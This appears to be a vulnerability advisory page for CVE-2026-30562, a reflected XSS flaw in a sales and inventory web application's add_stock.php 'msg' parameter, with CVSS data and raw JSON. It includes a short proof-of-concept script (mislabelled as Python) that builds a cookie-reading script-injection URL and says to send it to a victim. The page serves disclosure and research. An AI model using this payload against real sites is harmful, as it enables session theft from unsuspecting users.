Security Vulnerability Report
中文
CVE-2026-30562 CVSS 9.3 CRITICAL

CVE-2026-30562

Published: 2026-03-30 16:16:06
Last Modified: 2026-04-01 16:23:41

Description

A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_stock.php file via the "msg" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Sales and Inventory System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-30562 Reflected XSS // Vulnerable File: add_stock.php // Vulnerable Parameter: msg // Step 1: Encode the payload to ensure it is processed correctly in the URL var payload = "<script>alert(document.cookie)</script>"; var encodedPayload = encodeURIComponent(payload); // Step 2: Construct the malicious URL var targetUrl = "http://target_ip/path/to/add_stock.php?msg=" + encodedPayload; // Step 3: Simulate sending the link to a victim console.log("Send this URL to the victim:"); console.log(targetUrl); // Description: When the victim loads the URL, the server reflects the 'msg' parameter // without sanitization, causing the browser to execute the alert script.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30562", "sourceIdentifier": "[email protected]", "published": "2026-03-30T16:16:05.840", "lastModified": "2026-04-01T16:23:40.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_stock.php file via the \"msg\" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en SourceCodester Sales and Inventory System 1.0. La vulnerabilidad se encuentra en el archivo add_stock.PHP a través del parámetro 'msg'. La aplicación no sanitiza la entrada, permitiendo a atacantes remotos inyectar scripts web o HTML arbitrarios a través de una URL manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5A75B7A5-65D7-4AF9-BDE8-EBD496A4942B"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-AddStock-msg.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}